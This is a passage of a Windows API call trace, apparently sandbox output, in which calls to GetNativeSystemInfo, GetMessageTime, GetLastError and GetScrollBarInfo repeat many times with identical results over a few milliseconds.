GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.939] GetMessageTime () returned 0 [0045.939] GetLastError () returned 0x578 [0045.939] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.939] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.939] GetMessageTime () returned 0 [0045.939] GetLastError () returned 0x578 [0045.939] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.939] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.939] GetMessageTime () returned 0 [0045.939] GetLastError () returned 0x578 [0045.939] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.939] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.939] GetMessageTime () returned 0 [0045.939] GetLastError () returned 0x578 [0045.939] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.939] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.939] GetMessageTime () returned 0 [0045.939] GetLastError () returned 0x578 [0045.939] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.940] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.940] GetMessageTime () returned 0 [0045.940] GetLastError () returned 0x578 [0045.940] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.940] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.940] GetMessageTime () returned 0 [0045.940] GetLastError () returned 0x578 [0045.940] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.940] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.940] GetMessageTime () returned 0 [0045.940] GetLastError () returned 0x578 [0045.940] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.940] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.940] GetMessageTime () returned 0 [0045.940] GetLastError () returned 0x578 [0045.940] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.940] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.940] GetMessageTime () returned 0 [0045.940] GetLastError () returned 0x578 [0045.940] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.940] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.940] GetMessageTime () returned 0 [0045.940] GetLastError () returned 0x578 [0045.940] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.941] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.941] GetMessageTime () returned 0 [0045.941] GetLastError () returned 0x578 [0045.941] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.941] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.941] GetMessageTime () returned 0 [0045.941] GetLastError () returned 0x578 [0045.941] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.941] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.941] GetMessageTime () returned 0 [0045.941] GetLastError () returned 0x578 [0045.941] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.941] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.941] GetMessageTime () returned 0 [0045.941] GetLastError () returned 0x578 [0045.941] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.941] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.941] GetMessageTime () returned 0 [0045.941] GetLastError () returned 0x578 [0045.941] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.941] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.941] GetMessageTime () returned 0 [0045.941] GetLastError () returned 0x578 [0045.941] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.942] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.942] GetMessageTime () returned 0 [0045.942] GetLastError () returned 0x578 [0045.942] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.942] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.942] GetMessageTime () returned 0 [0045.942] GetLastError () returned 0x578 [0045.942] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.942] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.942] GetMessageTime () returned 0 [0045.942] GetLastError () returned 0x578 [0045.942] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.942] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.942] GetMessageTime () returned 0 [0045.942] GetLastError () returned 0x578 [0045.942] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.942] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.942] GetMessageTime () returned 0 [0045.942] GetLastError () returned 0x578 [0045.942] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.942] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.942] GetMessageTime () returned 0 [0045.942] GetLastError () returned 0x578 [0045.942] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.943] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.943] GetMessageTime () returned 0 [0045.943] GetLastError () returned 0x578 [0045.943] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.943] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.943] GetMessageTime () returned 0 [0045.943] GetLastError () returned 0x578 [0045.943] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.943] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.943] GetMessageTime () returned 0 [0045.943] GetLastError () returned 0x578 [0045.943] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.943] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.943] GetMessageTime () returned 0 [0045.943] GetLastError () returned 0x578 [0045.943] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.943] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.943] GetMessageTime () returned 0 [0045.943] GetLastError () returned 0x578 [0045.943] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.943] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.943] GetMessageTime () returned 0 [0045.943] GetLastError () returned 0x578 [0045.943] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.944] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.944] GetMessageTime () returned 0 [0045.944] GetLastError () returned 0x578 [0045.944] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.944] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.944] GetMessageTime () returned 0 [0045.944] GetLastError () returned 0x578 [0045.944] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.944] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.944] GetMessageTime () returned 0 [0045.944] GetLastError () returned 0x578 [0045.944] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.944] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.944] GetMessageTime () returned 0 [0045.944] GetLastError () returned 0x578 [0045.944] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.944] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.944] GetMessageTime () returned 0 [0045.944] GetLastError () returned 0x578 [0045.944] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.944] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.944] GetMessageTime () returned 0 [0045.944] GetLastError () returned 0x578 [0045.945] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.945] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.945] GetMessageTime () returned 0 [0045.945] GetLastError () returned 0x578 [0045.945] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.945] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.945] GetMessageTime () returned 0 [0045.945] GetLastError () returned 0x578 [0045.945] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.945] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.945] GetMessageTime () returned 0 [0045.945] GetLastError () returned 0x578 [0045.945] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.945] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.945] GetMessageTime () returned 0 [0045.945] GetLastError () returned 0x578 [0045.945] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.945] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.945] GetMessageTime () returned 0 [0045.945] GetLastError () returned 0x578 [0045.945] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.945] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.945] GetMessageTime () returned 0 [0045.945] GetLastError () returned 0x578 [0045.946] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.946] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.946] GetMessageTime () returned 0 [0045.946] GetLastError () returned 0x578 [0045.946] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.946] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.946] GetMessageTime () returned 0 [0045.946] GetLastError () returned 0x578 [0045.946] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.946] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.946] GetMessageTime () returned 0 [0045.946] GetLastError () returned 0x578 [0045.946] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.946] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.946] GetMessageTime () returned 0 [0045.947] GetLastError () returned 0x578 [0045.947] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.947] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, 